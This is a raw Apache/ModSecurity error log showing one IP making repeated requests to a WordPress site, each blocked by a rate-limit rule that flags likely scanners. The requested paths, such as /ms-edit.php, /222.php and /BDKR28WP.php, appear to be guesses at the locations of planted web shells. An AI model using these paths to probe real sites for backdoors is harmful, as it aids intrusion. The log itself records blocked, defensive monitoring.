[Wed Apr 22 23:50:41.777300 2026] [:error] [pid 6384:tid 6409] [client 172.213.243.103:34796] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "aejuUT58M3t15ICeWHWcwgAAANY"]
[Wed Apr 22 23:50:42.269999 2026] [:error] [pid 9085:tid 9089] [client 172.213.243.103:64960] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "aejuUt-_-or9vQnlWnrpZQAAAUI"]
[Wed Apr 22 23:50:42.759198 2026] [:error] [pid 9085:tid 9101] [client 172.213.243.103:37114] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "aejuUt-_-or9vQnlWnrpaAAAAU4"]
[Wed Apr 22 23:50:43.285931 2026] [:error] [pid 6384:tid 6394] [client 172.213.243.103:35565] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "aejuUz58M3t15ICeWHWcxAAAAMc"]
[Wed Apr 22 23:50:43.766470 2026] [:error] [pid 6384:tid 6398] [client 172.213.243.103:50518] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "aejuUz58M3t15ICeWHWcywAAAMs"]
[Wed Apr 22 23:50:44.246302 2026] [:error] [pid 9085:tid 9090] [client 172.213.243.103:34770] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aejuVN-_-or9vQnlWnrpaQAAAUM"]
[Wed Apr 22 23:50:44.726402 2026] [:error] [pid 9085:tid 9103] [client 172.213.243.103:35538] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aejuVN-_-or9vQnlWnrpawAAAVA"]
[Wed Apr 22 23:50:45.210765 2026] [:error] [pid 6384:tid 6401] [client 172.213.243.103:38333] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aejuVT58M3t15ICeWHWczwAAAM4"]
[Wed Apr 22 23:50:45.720891 2026] [:error] [pid 6384:tid 6407] [client 172.213.243.103:50570] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aejuVT58M3t15ICeWHWc0gAAANQ"]
[Wed Apr 22 23:50:46.273503 2026] [:error] [pid 6250:tid 6273] [client 172.213.243.103:55931] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aejuVg-iZeQkqmQVfj40TAAAAFM"]
[Wed Apr 22 23:50:46.762291 2026] [:error] [pid 23776:tid 23797] [client 172.213.243.103:35488] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aejuVrRExf-1pAbSeJszdwAAAZM"]
[Wed Apr 22 23:50:47.244665 2026] [:error] [pid 6384:tid 6404] [client 172.213.243.103:35500] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aejuVz58M3t15ICeWHWc1gAAANE"]
[Wed Apr 22 23:50:47.724658 2026] [:error] [pid 6252:tid 6312] [client 172.213.243.103:8985] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aejuV-tGYuiYb1nWBpRt1gAAAQA"]
[Wed Apr 22 23:50:48.206546 2026] [:error] [pid 23776:tid 23785] [client 172.213.243.103:8968] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aejuWLRExf-1pAbSeJszeQAAAYc"]
[Wed Apr 22 23:50:48.698844 2026] [:error] [pid 9085:tid 9100] [client 172.213.243.103:64984] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aejuWN-_-or9vQnlWnrpeQAAAU0"]
[Wed Apr 22 23:50:49.188765 2026] [:error] [pid 9085:tid 9106] [client 172.213.243.103:9017] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aejuWd-_-or9vQnlWnrpewAAAVM"]
[Wed Apr 22 23:50:49.746658 2026] [:error] [pid 9085:tid 9101] [client 172.213.243.103:50597] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aejuWd-_-or9vQnlWnrpfgAAAU4"]
[Wed Apr 22 23:50:50.279521 2026] [:error] [pid 9085:tid 9104] [client 172.213.243.103:8961] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aejuWt-_-or9vQnlWnrphAAAAVE"]
[Wed Apr 22 23:50:50.784031 2026] [:error] [pid 9085:tid 9100] [client 172.213.243.103:65003] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aejuWt-_-or9vQnlWnrphgAAAU0"]
[Wed Apr 22 23:50:51.272520 2026] [:error] [pid 9085:tid 9088] [client 172.213.243.103:37169] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aejuW9-_-or9vQnlWnrpiQAAAUE"]
[Wed Apr 22 23:50:51.749578 2026] [:error] [pid 9085:tid 9093] [client 172.213.243.103:39425] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aejuW9-_-or9vQnlWnrpjAAAAUY"]
[Wed Apr 22 23:50:52.233112 2026] [:error] [pid 9085:tid 9107] [client 172.213.243.103:64998] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aejuXN-_-or9vQnlWnrpjgAAAVQ"]
[Wed Apr 22 23:50:52.729426 2026] [:error] [pid 6344:tid 6355] [client 172.213.243.103:55893] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aejuXEDOTF-pkQnDeUkgTQAAAAY"]
[Wed Apr 22 23:50:53.211966 2026] [:error] [pid 6344:tid 6362] [client 172.213.243.103:38280] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aejuXUDOTF-pkQnDeUkgVAAAAA0"]
[Wed Apr 22 23:50:53.688857 2026] [:error] [pid 6344:tid 6357] [client 172.213.243.103:38277] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aejuXUDOTF-pkQnDeUkgVgAAAAg"]
[Wed Apr 22 23:50:54.166004 2026] [:error] [pid 9085:tid 9106] [client 172.213.243.103:35547] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "aejuXt-_-or9vQnlWnrpkQAAAVM"]
[Wed Apr 22 23:50:54.673776 2026] [:error] [pid 9085:tid 9090] [client 172.213.243.103:48265] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "aejuXt-_-or9vQnlWnrpkgAAAUM"]
[Wed Apr 22 23:50:55.190441 2026] [:error] [pid 6344:tid 6363] [client 172.213.243.103:58192] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "aejuX0DOTF-pkQnDeUkgWwAAAA4"]
[Wed Apr 22 23:50:55.763704 2026] [:error] [pid 6252:tid 6334] [client 172.213.243.103:41921] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "aejuX-tGYuiYb1nWBpRt2wAAARY"]
[Wed Apr 22 23:50:56.255837 2026] [:error] [pid 6251:tid 6292] [client 172.213.243.103:35551] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "aejuYCsFAzbyObL-SQ6aJQAAAIc"]
[Wed Apr 22 23:50:56.735279 2026] [:error] [pid 6384:tid 6395] [client 172.213.243.103:9022] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "aejuYD58M3t15ICeWHWc3QAAAMg"]
[Wed Apr 22 23:50:57.221915 2026] [:error] [pid 23776:tid 23794] [client 172.213.243.103:55922] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "aejuYbRExf-1pAbSeJszfQAAAZA"]
[Wed Apr 22 23:50:57.709882 2026] [:error] [pid 23776:tid 23797] [client 172.213.243.103:8994] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "aejuYbRExf-1pAbSeJszfgAAAZM"]
[Wed Apr 22 23:50:58.197266 2026] [:error] [pid 23776:tid 23785] [client 172.213.243.103:34779] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aejuYrRExf-1pAbSeJszgAAAAYc"]
[Wed Apr 22 23:50:58.682758 2026] [:error] [pid 6344:tid 6373] [client 172.213.243.103:39457] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aejuYkDOTF-pkQnDeUkgXwAAABg"]
[Wed Apr 22 23:50:59.198352 2026] [:error] [pid 23776:tid 23800] [client 172.213.243.103:37140] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aejuY7RExf-1pAbSeJszhQAAAZY"]
[Wed Apr 22 23:50:59.721344 2026] [:error] [pid 6251:tid 6305] [client 172.213.243.103:62421] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "aejuYysFAzbyObL-SQ6aJgAAAJQ"]
[Wed Apr 22 23:51:00.199754 2026] [:error] [pid 23776:tid 23778] [client 172.213.243.103:55885] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "aejuZLRExf-1pAbSeJsziQAAAYA"]
[Wed Apr 22 23:51:00.727804 2026] [:error] [pid 23776:tid 23787] [client 172.213.243.103:35577] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "aejuZLRExf-1pAbSeJsziwAAAYk"]
[Wed Apr 22 23:51:01.210854 2026] [:error] [pid 9085:tid 9102] [client 172.213.243.103:38302] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "aejuZd-_-or9vQnlWnrpmwAAAU8"]
[Wed Apr 22 23:51:01.689252 2026] [:error] [pid 23776:tid 23791] [client 172.213.243.103:40097] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "aejuZbRExf-1pAbSeJszlQAAAY0"]
[Wed Apr 22 23:51:02.172193 2026] [:error] [pid 23776:tid 23784] [client 172.213.243.103:35583] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "aejuZrRExf-1pAbSeJszmAAAAYY"]
[Wed Apr 22 23:51:02.651658 2026] [:error] [pid 6344:tid 6354] [client 172.213.243.103:41982] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "aejuZkDOTF-pkQnDeUkgagAAAAU"]
[Wed Apr 22 23:51:03.130965 2026] [:error] [pid 23776:tid 23785] [client 172.213.243.103:37076] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "aejuZ7RExf-1pAbSeJszmwAAAYc"]
[Wed Apr 22 23:51:03.615285 2026] [:error] [pid 23776:tid 23801] [client 172.213.243.103:37156] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "aejuZ7RExf-1pAbSeJsznwAAAZc"]
[Wed Apr 22 23:51:04.114625 2026] [:error] [pid 6384:tid 6397] [client 172.213.243.103:35788] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "aejuaD58M3t15ICeWHWc6AAAAMo"]
[Wed Apr 22 23:51:04.636091 2026] [:error] [pid 6344:tid 6364] [client 172.213.243.103:55929] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "aejuaEDOTF-pkQnDeUkgbwAAAA8"]
[Wed Apr 22 23:51:05.155062 2026] [:error] [pid 6344:tid 6357] [client 172.213.243.103:41951] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "aejuaUDOTF-pkQnDeUkgdQAAAAg"]
[Wed Apr 22 23:51:05.635175 2026] [:error] [pid 23776:tid 23781] [client 172.213.243.103:58206] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "aejuabRExf-1pAbSeJszowAAAYM"]
[Wed Apr 22 23:51:06.135604 2026] [:error] [pid 9085:tid 9098] [client 172.213.243.103:58229] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aejuat-_-or9vQnlWnrpnwAAAUs"]
[Wed Apr 22 23:51:06.617443 2026] [:error] [pid 6384:tid 6389] [client 172.213.243.103:50520] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aejuaj58M3t15ICeWHWc6gAAAMI"]
[Wed Apr 22 23:51:07.097517 2026] [:error] [pid 9085:tid 9104] [client 172.213.243.103:34814] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aejua9-_-or9vQnlWnrppAAAAVE"]
[Wed Apr 22 23:51:07.580432 2026] [:error] [pid 9085:tid 9096] [client 172.213.243.103:8472] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aejua9-_-or9vQnlWnrppgAAAUk"]
[Wed Apr 22 23:51:08.065762 2026] [:error] [pid 9085:tid 9088] [client 172.213.243.103:55905] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "aejubN-_-or9vQnlWnrpqgAAAUE"]
[Wed Apr 22 23:51:08.552959 2026] [:error] [pid 9085:tid 9107] [client 172.213.243.103:58224] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "aejubN-_-or9vQnlWnrprwAAAVQ"]
[Wed Apr 22 23:51:09.033552 2026] [:error] [pid 6384:tid 6403] [client 172.213.243.103:37075] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "aejubT58M3t15ICeWHWc7AAAANA"]
